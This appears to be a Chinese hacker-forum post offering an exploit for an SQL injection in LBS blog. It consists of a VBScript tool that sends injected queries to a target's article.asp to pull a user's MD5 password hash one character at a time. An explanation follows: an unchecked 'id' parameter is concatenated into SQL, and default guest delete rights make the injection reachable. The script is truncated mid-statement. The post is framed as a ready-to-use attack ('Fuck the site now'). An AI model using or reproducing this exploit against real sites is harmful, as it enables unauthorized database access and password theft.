LBS blog sql注射漏洞[All version]

exp如下

'============================================================================
'使用说明：
' 在命令提示符下：
' cscript.exe lbsblog.vbs 要攻击的网站的博客路径 有效的文章id 要破解的博客用户密码
'如：
' cscript.exe lbsblog.vbs www.xxxx.com/blog/ 1 1
' by loveshell[B.C.T]
'============================================================================
On Error Resume Next
Dim oArgs
Dim olbsXML 'XMLHTTP对象用来打开目标网址
Dim TargetURL '目标网址
Dim userid,articleid '博客用户名
Dim TempStr '存放已获取的部分 MD5密码
Dim CharHex '定义16进制字符
Dim charset

Set oArgs = WScript.arguments
If oArgs.count < 1 Then Call ShowUsage()

Set olbsXML = createObject("Microsoft.XMLHTTP")

'补充完整目标网址
TargetURL = oArgs(0)
If LCase(Left(TargetURL,7)) <> "http://" Then TargetURL = "http://" & TargetURL
If right(TargetURL,1) <> "/" Then TargetURL = TargetURL & "/"
TargetURL=TargetURL & "article.asp"

articleid=oArgs(1)
userid=oArgs(2)
TempStr=""
CharHex=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f",",")

WScript.echo "LBS blog All version Exploit"&vbcrlf
WScript.echo "By 剑心"&vbcrlf
WScript.echo "http://www.loveshell.net/ Just For fun :)"&vbcrlf&vbcrlf
WScript.echo "+Fuck the site now"&vbcrlf

Call main(TargetURL,BlogName)

Set oBokeXML = Nothing

'----------------------------------------------sub-------------------------------------------------------
'============================================
'函数名称：main
'函数功能：主程序，注入获得blog 用户密码
'============================================
Sub main(TargetURL,BlogName)
Dim MainOffset,SubOffset,TempLen,OpenURL,GetPage
For MainOffset = 1 To 40
For SubOffset = 0 To 15
TempLen = 0
 postdata = ""
 postdata = articleid &" and (select left(user_password,"&MainOffset&") from blog_user where user_
WScript.Quit
End Sub

漏洞说明:

src_article.asp中的

......
input["log_id"]=func.checkInt(input["log_id"]);
if(!input["id"]){
strError=lang["invalid_parameter"];
}else{
// Check if the article exists
theArticle.load("log_id, log_authorID, log_catID","log_]);
strError=false;
}
......

过滤的是log_id,但是使用的确实id,呵呵 :)

然后呢?
class/article.asp中的代码

this.load = function(strselect, strwhere){
var tmpA=connBlog.query("select TOP 1 "+strselect+" FROM [blog_Article] where "+strwhere);
if(tmpA){
this.fill(tmpA[0]);
return true;
}else{
return false;
}
}

上面不用说了吧,呵呵.不过触发要条件的,看能满足不哦!

function articledelete(){
if(theUser.rights["delete"]<1){
// Check User Right - without DB Query
pageHeader(lang["error"]);
redirectMessage(lang["error"], lang["no_rights"], lang["goback"], "javascript:window.history.back();", false, "errorbox");
}else{
var theArticle=new lbsArticle();
var strError;

默认情况下guest都有删除权限的,尽管后面还做了判断,但是注入已经发生,而我们正好利用他的判断注射,呵呵